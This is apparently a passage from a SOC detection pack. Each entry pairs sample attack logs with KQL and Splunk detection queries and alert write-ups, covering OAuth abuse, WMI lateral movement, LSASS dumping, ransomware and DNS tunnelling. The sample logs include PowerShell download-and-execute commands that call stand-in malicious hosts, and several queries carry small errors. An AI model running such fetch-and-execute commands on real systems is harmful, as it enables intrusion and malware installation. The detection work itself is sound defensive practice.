

**SOC 2025**

**DETECTION**

**PACK: 100 REAL-**

**WORLD USE**

**CASES WITH KQL**

**AND SPLUNK**

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## **DETECTION PACK ENTRY 1**

**USE CASE: CLOUD INITIAL ACCESS VIA ABUSED OAUTH TOKEN GRANT**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1528 - STEAL OR FORGE AUTHENTICATION CERTIFICATES**

**ENVIRONMENT: MICROSOFT 365 / AZURE AD**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Azure Active Directory Sign-in Logs + Audit Logs

Log 1 (Consent grant)

```
{  
    "TimeGenerated": "2025-06-27T03:41:55Z",  
    "UserPrincipalName": "kevin.halim@client-org.com",  
    "AppDisplayName": "365 Report Exporter",  
    "ConsentType": "AllPrincipals",  
    "Scope": "Mail.ReadWrite Files.ReadWrite.All offline_access",  
    "ClientAppId": "cbe1a6dc-44d6-4a11-802b-fcd78698a3f3",  
    "Activity": "Consent to application",  
    "Location": "Russia",  
    "DeviceDetail": {  
        "OperatingSystem": "Windows",  
        "Browser": "Chrome"  
    }  
}
```

Log 2 (Sign-in using that app)

```
{  
    "TimeGenerated": "2025-06-27T03:42:10Z",  
    "UserPrincipalName": "kevin.halim@client-org.com",  
    "AppDisplayName": "365 Report Exporter",  
    "AuthenticationRequirement": "SingleFactorAuthentication",  
    "AuthenticationMethodsUsed": "PreviouslyGrantedRefreshToken",  
    "IPAddress": "185.104.120.33",  
    "Location": "Russia",  
    "Result": "Success",  
    "TokenType": "RefreshToken"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```

AuditLogs
| where ActivityDisplayName == "Consent to application"
| where ConsentType == "AllPrincipals"
| where Scopes has_any ("Mail.ReadWrite", "Files.ReadWrite.All", "offline_access")
| join kind=inner (
    SigninLogs
    | where AuthenticationMethodsUsed has "RefreshToken"
    | where LocationDetails has "Russia" or IPAddress in ("185.104.120.33")
) on UserPrincipalName
| summarize count() by UserPrincipalName, AppDisplayName, Scopes, IPAddress, Location, TimeGenerated

```

## SPLUNK

```

index=azure_auditlogs OR index=azure_signinlogs
| eval suspicious_scope=if(match(Scopes,
"Mail\.\ReadWrite|Files\.\ReadWrite\.\All|offline_access"), 1, 0)
| search suspicious_scope=1
| join type=inner UserPrincipalName [
    search index=azure_signinlogs AuthenticationMethodsUsed="*RefreshToken*"
    Location="Russia" OR src_ip="185.104.120.33"
]
| stats count by UserPrincipalName, AppDisplayName, Scopes, src_ip, Location, _time

```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Suspicious OAuth Consent & Token Use Detected

Severity: High

Description: A suspicious OAuth application 365 Report Exporter was granted tenant-wide access with high-privilege scopes (Mail.ReadWrite, Files.ReadWrite.All, offline\_access). The app was later used to access resources from a non-corporate IP in Russia using a refresh token.

Recommended Action:

- Revoke consent for the application immediately
- Investigate all user activities from kevin.halim@client-org.com
- Perform tenant-wide OAuth application audit
- Initiate IR playbook for unauthorized access

## **DETECTION PACK ENTRY 2**

**USE CASE: REMOTE WMI EXECUTION**

**TACTIC: LATERAL MOVEMENT**

**TECHNIQUE: T1047 - WINDOWS MANAGEMENT INSTRUMENTATION**

**ENVIRONMENT: ON-PREM AD / EDR + SYSMON**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1 (Process Creation)

```
{  
    "UtcTime": "2025-06-27T09:18:24Z",  
    "HostName": "WORKSTATION-22",  
    "Image": "C:\\Windows\\System32\\wbem\\WMIC.exe",  
    "CommandLine": "wmic /node:\"192.168.12.45\" process call create \"cmd.exe /c  
whoami\"",  
    "ParentImage": "C:\\Windows\\System32\\cmd.exe",  
    "User": "DOMAIN\\attackuser"  
}
```

Data Source: DeviceProcessEvents (EDR)

```
{  
    "Timestamp": "2025-06-27T09:18:24Z",  
    "InitiatingProcessFileName": "cmd.exe",  
    "InitiatingProcessCommandLine": "cmd.exe /c wmic /node:\"192.168.12.45\" process  
call create \"cmd.exe /c whoami\"",  
    "DeviceName": "WORKSTATION-22",  
    "AccountName": "attackuser",  
    "RemoteIP": "192.168.12.45"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where FileName == "wmic.exe"  
| where ProcessCommandLine has "process call create"  
| where ProcessCommandLine has_any ("cmd.exe", "powershell.exe")  
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,  
ProcessCommandLine
```

## SPLUNK

```
index=edr_logs OR index=sysmon
| search CommandLine="*wmic*process call create*"
| eval suspicious=if(like(CommandLine, "%cmd.exe%") OR like(CommandLine,
"%powershell.exe%"), 1, 0)
| search suspicious=1
| stats count by HostName, CommandLine, User, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Remote WMI Execution Detected

Severity: Medium

Description: WMIC was used from WORKSTATION-22 to remotely execute a process on 192.168.12.45. This is commonly used in lateral movement.

Recommended Action:

- Confirm whether this action is part of legitimate administrative tasks
- Review user activity of attackuser
- Check target host (192.168.12.45) for process creation events
- Isolate machine if malicious activity is suspected

## **DETECTION PACK ENTRY 3**

**USE CASE: SUSPICIOUS SCHEDULED TASK FOR PERSISTENCE**

**TACTIC: PERSISTENCE**

**TECHNIQUE: T1053.005 - SCHEDULED TASK/JOB: SCHEDULED TASK**

**ENVIRONMENT: WINDOWS ENDPOINT / SYSMON + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1 & Event ID 106

```
{  
    "UtcTime": "2025-06-28T01:05:18Z",  
    "Image": "C:\\Windows\\System32\\schtasks.exe",  
    "CommandLine": "schtasks /create /tn \"Updater\" /tr \"powershell -c IEX(New-Object  
Net.WebClient).DownloadString('http://malicious.site/payload.ps1')\" /sc minute /mo 30",  
    "ParentImage": "C:\\Windows\\System32\\cmd.exe",  
    "User": "DOMAIN\\svc-tempuser"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where FileName == "schtasks.exe"  
| where ProcessCommandLine has "schtasks /create"  
| where ProcessCommandLine has_any ("powershell", "bitsadmin", "curl", "iex")  
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
```

### **SPLUNK**

```
index=sysmon OR index=edr_logs  
| search CommandLine="*schtasks /create*"  
| regex CommandLine=".*(powershell|bitsadmin|curl|iex).*"  
| stats count by HostName, CommandLine, User, _time
```

### **ALERT OUTPUT EXAMPLE**

Alert Name: Suspicious Scheduled Task Created with PowerShell

Severity: High

Description: A scheduled task was created that runs PowerShell with a remote payload from http://malicious.site/payload.ps1. Likely persistence mechanism.

Recommended Action:

- Investigate user svc-tempuser for privilege abuse
- Identify execution of the downloaded script
- Delete the scheduled task
- Perform full endpoint forensics and isolate if needed

## **DETECTION PACK ENTRY 4**

**USE CASE: CREDENTIAL DUMPING VIA SUSPICIOUS LSASS ACCESS**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1003.001 - OS CREDENTIAL DUMPING: LSASS MEMORY**

**ENVIRONMENT: WINDOWS / EDR + SYSMON + DEFENDER FOR ENDPOINT**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 10 (Process Access)

```
{  
    "UtcTime": "2025-06-28T03:12:44Z",  
    "SourceImage": "C:\\Tools\\procdump64.exe",  
    "TargetImage": "C:\\Windows\\System32\\lsass.exe",  
    "GrantedAccess": "0x1410",  
    "CallTrace": "C:\\Windows\\System32\\ntdll.dll+..."  
}
```

Data Source: Defender for Endpoint

```
{  
    "Timestamp": "2025-06-28T03:12:45Z",  
    "AlertTitle": "Possible Credential Dump via Procdump",  
    "DeviceName": "HOST-54",  
    "InitiatingProcess": "procdump64.exe",  
    "TargetProcess": "lsass.exe",  
    "AccountName": "tempadmin",  
    "Severity": "High"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where FileName in~ ("procdump64.exe", "comsvcs.exe", "mimikatz.exe")  
| join kind=inner (  
    DeviceProcessEvents  
    | where FileName == "lsass.exe"  
) on DeviceId  
| where InitiatingProcessCommandLine has "lsass"  
| project Timestamp, DeviceName, InitiatingProcessFileName, AccountName,  
ProcessCommandLine
```

## SPLUNK

```
index=sysmon OR index=edr_logs  
| search TargetImage="*lsass.exe*" SourcelImage="*procdump64.exe*"  
| stats count by HostName, SourcelImage, TargetImage, User, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Suspicious LSASS Access Detected

Severity: High

Description: A tool (procdump64.exe) attempted to access LSASS memory on HOST-54 using tempadmin account. Common tactic for credential dumping.

Recommended Action:

- Confirm whether procdump64.exe was legitimately used
- Investigate all activities of tempadmin
- Initiate memory forensics if credentials were potentially stolen
- Rotate credentials and check for lateral movement

## **DETECTION PACK ENTRY 5**

**USE CASE: DATA EXFILTRATION VIA CLOUD STORAGE (GOOGLE DRIVE CLI)**

**TACTIC: EXFILTRATION**

**TECHNIQUE: T1567.002 - EXFILTRATION TO CLOUD STORAGE**

**ENVIRONMENT: WINDOWS / LINUX ENDPOINTS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon + Proxy Logs

```
{  
    "UtcTime": "2025-06-28T06:41:30Z",  
    "Image": "C:\\Tools\\gdrive.exe",  
    "CommandLine": "gdrive upload --recursive D:\\ClientFiles\\",  
    "User": "DOMAIN\\remoteuser"  
}
```

Data Source: Proxy Logs

```
{  
    "Timestamp": "2025-06-28T06:41:34Z",  
    "Host": "drive.google.com",  
    "Method": "POST",  
    "Status": 200,  
    "BytesSent": 94400212,  
    "User": "DOMAIN\\remoteuser"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where FileName in~ ("gdrive.exe", "rclone.exe")  
| where ProcessCommandLine has "upload" or ProcessCommandLine has "--recursive"  
| join kind=inner (  
    ProxyLogs  
    | where URL has "drive.google.com" and Method == "POST"  
) on AccountName  
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, URL, BytesSent
```

SPLUNK

```
index=proxy_logs OR index=sysmon
| search URL="*drive.google.com*" Method="POST"
| join type=inner User [
    search index=sysmon CommandLine="*gdrive*upload*"
]
| stats sum(BytesSent) as TotalBytesSent by HostName, User, CommandLine, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Data Exfiltration via Google Drive CLI

Severity: High

Description: remoteuser uploaded ~90MB of files using gdrive.exe to Google Drive. This is indicative of possible data theft.

Recommended Action:

- Investigate file directory D:\ClientFiles\ for sensitive data
- Verify purpose of Google Drive usage
- Suspend user account if malicious intent is confirmed
- Perform DLP checks and forensic file recovery

## **DETECTION PACK ENTRY 6**

**USE CASE: UNUSUAL PRIVILEGE ESCALATION IN CLOUD (AZURE ROLE ABUSE)**

**TACTIC: PRIVILEGE ESCALATION**

**TECHNIQUE: T1078.004 - CLOUD ACCOUNTS**

**ENVIRONMENT: AZURE / DEFENDER FOR CLOUD**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Azure Activity Logs

```
{  
    "TimeGenerated": "2025-06-28T07:23:13Z",  
    "Caller": "sabrina.joe@clientorg.com",  
    "OperationName": "Add role assignment",  
    "RoleDefinitionName": "Owner",  
    "TargetResource": "clientorg-subscription-001",  
    "IP": "45.144.100.101"  
}
```

Data Source: Azure Sign-in Logs

```
{  
    "TimeGenerated": "2025-06-28T07:22:58Z",  
    "UserPrincipalName": "sabrina.joe@clientorg.com",  
    "IPAddress": "45.144.100.101",  
    "Result": "Success",  
    "AuthenticationRequirement": "SingleFactorAuthentication",  
    "Location": "Unknown"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
AzureActivity  
| where OperationName == "Add role assignment"  
| where RoleDefinitionName == "Owner"  
| join kind=inner (  
    SigninLogs  
    | where AuthenticationRequirement == "SingleFactorAuthentication"  
) on Caller == UserPrincipalName
```

```
| project TimeGenerated, UserPrincipalName, IPAddress, RoleDefinitionName,  
TargetResource
```

## SPLUNK

```
index=azure_activitylogs  
| search OperationName="Add role assignment" RoleDefinitionName="Owner"  
| join type=inner UserPrincipalName [  
    search index=azure_signinlogs AuthenticationRequirement="SingleFactorAuthentication"  
]  
| stats count by UserPrincipalName, RoleDefinitionName, TargetResource, IPAddress,  
_time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Unusual Azure Role Assignment - Owner Role Granted

Severity: High

Description: sabrina.joe@clientorg.com assigned herself the Owner role in the subscription without MFA, from an unknown location. This can indicate privilege abuse or account compromise.

Recommended Action:

- Revoke role assignment immediately
- Verify legitimacy of the action
- Investigate IP 45.144.100.101 and source system
- Audit all cloud RBAC changes for the last 24 hours

## **DETECTION PACK ENTRY 7**

**USE CASE: PHISHING VIA TRUSTED SAAS DOMAIN (GOOGLE FORMS ABUSE)**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1566.002 - SPEARPHISHING VIA SERVICE**

**ENVIRONMENT: EMAIL GATEWAY + PROXY + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Email Gateway

```
{  
  "Timestamp": "2025-06-29T08:14:20Z",  
  "Sender": "support@secure-dropbox[.]com",  
  "Recipient": "maria.chan@clientorg.com",  
  "Subject": "Urgent HR Form to Fill",  
  "Attachment": null,  
  "URL": "https://docs.google.com/forms/d/e/1FAIpQLSd2PhishingForm",  
  "SPF": "pass",  
  "DKIM": "pass",  
  "DMARC": "pass"  
}
```

Data Source: Proxy Logs

```
{  
  "Timestamp": "2025-06-29T08:15:01Z",  
  "User": "maria.chan@clientorg.com",  
  "URL": "https://docs.google.com/forms/d/e/1FAIpQLSd2PhishingForm",  
  "Referer": "outlook.office.com",  
  "Method": "GET",  
  "Status": 200,  
  "Category": "Collaboration"  
}
```

## **DETECTION QUERY**

KQL (Microsoft Sentinel)

EmailUrlInfo

```
| where Url has "forms.google.com" or Url has "docs.google.com/forms"
```

```
| join kind=inner (
```

```
  EmailEvents
```

```
| where Subject has "HR" or Subject has "urgent"  
) on NetworkMessageId  
| join kind=inner (  
    ProxyLogs  
    | where Url has "google.com/forms"  
) on RecipientAddress == User  
| project Timestamp, Sender, RecipientAddress, Url, Subject
```

SPLUNK

```
index=email_logs OR index=proxy_logs  
| search URL="*google.com/forms*"  
| join type=inner Recipient [  
    search index=email_logs Subject="*urgent*"  
]  
| stats count by Recipient, Sender, URL, Subject, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Phishing Attempt via Google Forms

Severity: Medium

Description: A phishing email containing a Google Forms link was delivered and clicked by maria.chan@clientorg.com. Although SPF/DKIM/DMARC passed, the domain is impersonating Dropbox.

Recommended Action:

- Block access to the form link at proxy level
- Notify user and security awareness team
- Scan inbox for similar emails
- Check for credential submission activity

## **DETECTION PACK ENTRY 8**

**USE CASE: MFA FATIGUE ATTACK VIA PUSH NOTIFICATION FLOODING**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1110.003 - MFA REQUEST GENERATION**

**ENVIRONMENT: AZURE AD + IDENTITY PROVIDER LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Identity Protection / Azure Sign-in Logs

```
{  
  "User": "junaid.adam@clientorg.com",  
  "TimeGenerated": "2025-06-29T13:20:13Z",  
  "Result": "Interrupted",  
  "AuthenticationRequirement": "MultiFactorAuthentication",  
  "FailureReason": "User declined MFA prompt",  
  "IPAddress": "179.210.10.21",  
  "CountIn5Min": 11  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

SigninLogs

```
| where ResultType == 500121 or FailureReason has "User declined"  
| summarize Count = count() by bin(TimeGenerated, 5m), UserPrincipalName, IPAddress  
| where Count >= 10  
| project TimeGenerated, UserPrincipalName, IPAddress, Count
```

SPLUNK

```
index=azure_signinlogs  
| search FailureReason="*User declined*"  
| bucket _time span=5m  
| stats count by UserPrincipalName, IPAddress, _time  
| where count >= 10
```

### **ALERT OUTPUT EXAMPLE**

Alert Name: MFA Fatigue Attack Attempt

Severity: High

Description: Over 10 MFA prompts were triggered to junaid.adam@clientorg.com in under

5 minutes. This behaviour is consistent with MFA push bombing to force user approval.

Recommended Action:

- Investigate IP 179.210.10.21
- Temporarily lock the user account
- Instruct user to reset credentials
- Enforce number matching or FIDO2-based MFA

## **DETECTION PACK ENTRY 9**

**USE CASE: RANSOMWARE FILE ACTIVITY PATTERN**

**TACTIC: IMPACT**

**TECHNIQUE: T1486 - DATA ENCRYPTED FOR IMPACT**

**ENVIRONMENT: EDR + FILE AUDITING + DEFENDER + SYSMON**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: File System + Defender + Sysmon

```
{  
  "DeviceName": "FINANCE-PC-07",  
  "Timestamp": "2025-06-29T14:51:27Z",  
  "User": "finance.admin",  
  "EncryptedExtensions": [".FYWK", ".FYWK", ".FYWK"],  
  "ProcessName": "runme.exe",  
  "FileModCount": 4317,  
  "DefenderDetection": "Ransom:Win32/LockBitAuto.G"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceFileEvents  
| where FileName endswith ".FYWK"  
| summarize FileModifications = count() by DeviceName, InitiatingProcessFileName,  
AccountName, bin(Timestamp, 10m)  
| where FileModifications > 1000  
| join kind=inner (  
  DeviceAlertEvents  
  | where Title has "Ransom"  
) on DeviceName
```

### **SPLUNK**

```
index=edr_logs OR index=defender_alerts  
| search FileName="*.FYWK"  
| bucket _time span=10m  
| stats count as FileModCount by HostName, User, ProcessName, _time  
| where FileModCount > 1000  
| join HostName [  
  search index=defender_alerts AlertTitle="*Ransom*"
```

]

## **ALERT OUTPUT EXAMPLE**

Alert Name: Mass File Encryption Detected (Likely Ransomware)

Severity: Critical

Description: Over 4300 files with .FYZK extension were created on FINANCE-PC-07 by runme.exe. Defender flagged the process as ransomware-related.

Recommended Action:

- Isolate FINANCE-PC-07 immediately
- Initiate full ransomware response playbook
- Perform backup restoration from clean snapshots
- Preserve memory and disk for forensic investigation

## **DETECTION PACK ENTRY 10**

**USE CASE: COMMAND AND CONTROL VIA DNS TUNNELING**

**TACTIC: COMMAND AND CONTROL**

**TECHNIQUE: T1071.004 - APPLICATION LAYER PROTOCOL: DNS**

**ENVIRONMENT: DNS LOGS + FIREWALL + NDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: DNS Logs

```
{  
  "Timestamp": "2025-06-30T11:02:15Z",  
  "QueryName": "dh29ajd7129d1.maliciousdomain.com",  
  "QueryType": "TXT",  
  "ClientIP": "10.10.24.102",  
  "ResponseLength": 380,  
  "QueryCountIn1Min": 75  
}
```

Data Source: NDR Platform

```
{  
  "Timestamp": "2025-06-30T11:02:17Z",  
  "SourceIP": "10.10.24.102",  
  "Application": "dns",  
  "AnomalyType": "High frequency subdomain request",  
  "Confidence": "High"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DnsEvents  
| summarize Count = count(), AvgRespSize=avg(ResponseSize) by bin(Timestamp, 1m),  
ClientIP, QueryName  
| where Count > 50 and AvgRespSize > 300  
| where QueryName matches regex @"[a-zA-Z0-9]{20,}\.maliciousdomain\.com"
```

SPLUNK

```
index=dns_logs
```

```
| stats count as QueryCount avg(ResponseLength) as AvgRespSize by ClientIP,  
QueryName, _time span=1m  
| where QueryCount > 50 AND AvgRespSize > 300  
| regex QueryName="^([a-zA-Z0-9]{20,})\.maliciousdomain\.com$"
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: DNS Tunneling Detected from Client 10.10.24.102

Severity: High

Description: Over 75 high-entropy DNS queries with large TXT responses were made to maliciousdomain.com. Pattern indicates DNS tunneling, likely C2.

Recommended Action:

- Block domain and sinkhole further traffic
- Isolate 10.10.24.102 for forensic analysis
- Inspect memory for in-memory implants or agents
- Correlate with EDR/NDR alerts for lateral movement

## **DETECTION PACK ENTRY 11**

**USE CASE: AZURE AUTOMATION ACCOUNT ROLE ABUSE**

**TACTIC: PRIVILEGE ESCALATION / EXECUTION**

**TECHNIQUE: T1059.006 - COMMAND AND SCRIPTING INTERPRETER:**

**POWERSHELL**

**ENVIRONMENT: AZURE ACTIVITY LOGS + AUTOMATION ACCOUNT LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: AzureActivity

```
{  
  "Timestamp": "2025-06-30T15:13:52Z",  
  "Caller": "dev.serviceaccount@clientorg.com",  
  "OperationName": "Start runbook",  
  "RunbookName": "Invoke-MgmtScript",  
  "ScriptContent": "Add-AzureRmRoleAssignment -RoleDefinitionName 'Owner' -  
PrincipalName 'externaluser@evil.com'",  
  "IP": "101.44.88.56"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
AzureDiagnostics  
| where Category == "JobStreams" and RunbookName has "Invoke"  
| where ResultDescription has "Add-AzureRmRoleAssignment"  
| join kind=inner (  
  AzureActivity  
  | where OperationName == "Start runbook"  
) on CorrelationId  
| project Timestamp, Caller, RunbookName, ScriptContent, IPAddress
```

### **SPLUNK**

```
index=azure_automation_logs  
| search ScriptContent="*Add-AzureRmRoleAssignment*"  
| join CorrelationId [  
  search index=azure_activitylogs OperationName="Start runbook"  
]  
| stats count by Caller, ScriptContent, IP, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Azure Automation Runbook Used for Role Escalation

Severity: Critical

Description: dev.serviceaccount@clientorg.com executed a runbook that assigned Owner privileges to externaluser@evil.com.

Recommended Action:

- Revoke role assignments immediately
- Investigate runbook creation/modification history
- Review all automation accounts and permissions
- Consider monitoring for script anomalies in runbooks

## **DETECTION PACK ENTRY 12**

**USE CASE: SUSPICIOUS IN-MEMORY POWERSHELL EXECUTION**

**TACTIC: EXECUTION**

**TECHNIQUE: T1059.001 - POWERSHELL**

**ENVIRONMENT: SYSMON + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1

```
{  
    "Timestamp": "2025-06-30T17:40:39Z",  
    "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",  
    "CommandLine": "powershell -nop -w hidden -c IEX(New-Object  
Net.WebClient).DownloadString('http://94.103.82.88/payload.ps1')",  
    "ParentImage": "explorer.exe",  
    "User": "temp.operator"  
}
```

Data Source: EDR Detection

```
{  
    "Timestamp": "2025-06-30T17:40:41Z",  
    "Detection": "Suspicious PowerShell Execution - Obfuscated Web Download",  
    "Process": "powershell.exe",  
    "Device": "OPS-WS-10",  
    "User": "temp.operator",  
    "Severity": "High"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where FileName == "powershell.exe"  
| where ProcessCommandLine has "DownloadString" or ProcessCommandLine has "IEX"  
| where ProcessCommandLine has_any ("-nop", "-w hidden")  
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
```

SPLUNK

```
index=edr_logs OR index=sysmon
```

```
| search CommandLine="*DownloadString*" OR CommandLine="*IEX*"  
| search CommandLine="*-nop*" OR CommandLine="*-w hidden*"  
| stats count by HostName, User, CommandLine, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: In-Memory PowerShell Download Execution

Severity: High

Description: PowerShell was executed with flags -nop -w hidden and invoked a remote script from <http://94.103.82.88/payload.ps1>. Typical of fileless malware behaviour.

Recommended Action:

- Isolate host OPS-WS-10
- Block outbound traffic to 94.103.82.88
- Investigate process ancestry and user session
- Perform memory analysis and scan for persistent access

## **DETECTION PACK ENTRY 13**

**USE CASE: VPN SESSION HIJACK VIA STOLEN COOKIE**

**TACTIC: INITIAL ACCESS / DEFENSE EVASION**

**TECHNIQUE: T1539 - STEAL WEB SESSION COOKIE**

**ENVIRONMENT: VPN + IDENTITY PROVIDER + NDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: VPN Logs + IdP Session Data

```
{  
  "Timestamp": "2025-07-01T02:45:23Z",  
  "User": "shira.jalil@clientorg.com",  
  "LoginMethod": "Session Cookie",  
  "Result": "Success",  
  "Device": "Unknown",  
  "Location": "Germany",  
  "SessionID": "s_k9Ltrt23904jdg",  
  "IP": "87.220.45.191"  
}
```

Data Source: Baseline Geo-Behavioral UEBA

```
{  
  "User": "shira.jalil@clientorg.com",  
  "PreviousSuccessfulLoginGeo": "Malaysia",  
  "NewLoginGeo": "Germany",  
  "TimeDifference": "2 minutes",  
  "AnomalyScore": "High"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

SigninLogs

```
| where AuthenticationRequirement == "SingleFactorAuthentication" and Status has  
"Success"  
| extend GeoDiff = geo_distance(LocationDetails, "Malaysia") // simulate geolocation diff  
| where GeoDiff > 7000  
| summarize Attempts = count() by UserPrincipalName, IPAddress, LocationDetails,  
Timestamp
```

## SPLUNK

```
index=vpn_logs OR index=identity_provider  
| search LoginMethod="Session Cookie" Result="Success"  
| lookup known_user_logins.csv user AS User OUTPUT location AS KnownLocation  
| where Location != KnownLocation  
| stats count by User, IP, Location, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Possible VPN Session Hijack Detected

Severity: High

Description: User shira.jalil@clientorg.com accessed VPN via session cookie from Germany just 2 minutes after a login from Malaysia. Indicates possible cookie theft.

Recommended Action:

- Force logout all sessions for the user
- Invalidate session cookies and reset credentials
- Notify the user and IR team
- Investigate session hijack vector (e.g., MITM, info-stealer malware)

## **DETECTION PACK ENTRY 14**

**USE CASE: USB-BASED DATA EXFILTRATION TO REMOVABLE DRIVE**

**TACTIC: EXFILTRATION**

**TECHNIQUE: T1052.001 - EXFILTRATION OVER PHYSICAL MEDIUM**

**ENVIRONMENT: SYSMON + DLP + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon + USB Auditing Logs

```
{  
    "Timestamp": "2025-07-01T09:12:04Z",  
    "DeviceName": "FIN-WS-08",  
    "User": "nur.hana@clientorg.com",  
    "FilePath": "D:\\Sensitive\\Q2-Financials.xlsx",  
    "Destination": "E:\\USBStorage\\",  
    "VolumeSerialNumber": "72C8-19A1",  
    "TransferSizeMB": 146  
}
```

Data Source: DLP Logs

```
{  
    "PolicyName": "FinanceDataExfil",  
    "MatchRule": "File Type: Excel; Destination: USB",  
    "User": "nur.hana@clientorg.com",  
    "Result": "Blocked",  
    "Device": "FIN-WS-08"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceFileEvents  
| where FilePath endswith ".xlsx" or FilePath endswith ".xls"  
| where FolderPath contains "USB" or FolderPath contains "E:\\\"  
| where FileSize > 100000000  
| project Timestamp, DeviceName, AccountName, FileName, FilePath, FileSize
```

SPLUNK

```
index=sysmon OR index=dlp_logs
```

```
| search FilePath="*\Sensitive\*.xlsx" AND Destination="*USB*"  
| stats sum(FileSize) as TotalMB by HostName, User, Destination, _time  
| where TotalMB > 100
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Attempted Data Exfiltration to USB Drive

Severity: High

Description: nur.hana@clientorg.com attempted to copy sensitive financial files (146MB) to a USB drive on FIN-WS-08. DLP policy blocked the action.

Recommended Action:

- Review DLP logs for repeated attempts
- Interview user to determine intent
- Lock USB access on the device
- Perform audit of all USB write events for user over past 7 days

## **DETECTION PACK ENTRY 15**

**USE CASE: EXCESSIVE DOWNLOAD BY INSIDER**

**TACTIC: COLLECTION**

**TECHNIQUE: T1119 - AUTOMATED COLLECTION**

**ENVIRONMENT: WEB PROXY + UEBA + FILE SERVER LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: File Access Logs + Proxy Logs

```
{  
  "Timestamp": "2025-07-01T15:37:20Z",  
  "User": "raymond.yap@clientorg.com",  
  "DownloadedFiles": 512,  
  "DataVolume": "2.6 GB",  
  "Category": "Internal Portal - Confluence",  
  "Device": "HR-WS-05"  
}
```

UEBA Output:

```
{  
  "BehaviorType": "Unusual Volume of Downloads",  
  "AnomalyScore": "Critical",  
  "PeerAvg": "30 files/day",  
  "Current": "512 files",  
  "Deviation": "17x normal behaviour"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

ProxyLogs

```
| where Url has "confluence" or Url has "sharepoint"  
| summarize FileDownloads = count(), TotalVolume = sum(BytesReceived) by  
bin(Timestamp, 1h), User  
| where FileDownloads > 100 or TotalVolume > 1000000000
```

### **SPLUNK**

```
index=proxy_logs  
| search URL="*confluence*" OR URL="*sharepoint*"
```

```
| bucket _time span=1h  
| stats count as Downloads sum(BytesReceived) as Volume by User, _time  
| where Downloads > 100 OR Volume > 1000000000
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Excessive Data Download by Insider

Severity: Medium to High (Context Dependent)

Description: raymond.yap@clientorg.com downloaded 512 files (2.6GB) from the internal Confluence system in one session. This is 17x his normal baseline.

Recommended Action:

- Verify business justification for download
- Escalate to HR if no legitimate reason found
- Correlate with external access logs (e.g., USB, email, cloud upload)
- Consider temporary restriction or full monitoring

## **DETECTION PACK ENTRY 16**

**USE CASE: ABUSE OF LEGACY AUTHENTICATION PROTOCOLS  
(SMTP/POP3)**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1110.002 - PASSWORD SPRAYING**

**ENVIRONMENT: IDENTITY PROVIDER LOGS + NETWORK PERIMETER**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Azure AD Sign-in Logs

```
{  
  "Timestamp": "2025-07-01T20:12:11Z",  
  "UserPrincipalName": "many.users@clientorg.com",  
  "ClientAppUsed": "Other clients (IMAP/POP/SMTP)",  
  "Result": "Failure",  
  "FailureReason": "Invalid username or password",  
  "Protocol": "SMTP",  
  "IPAddress": "201.45.80.90",  
  "AttemptCountIn1Min": 160  
}
```

Data Source: Firewall Logs

```
{  
  "SourceIP": "201.45.80.90",  
  "DestinationPort": 587,  
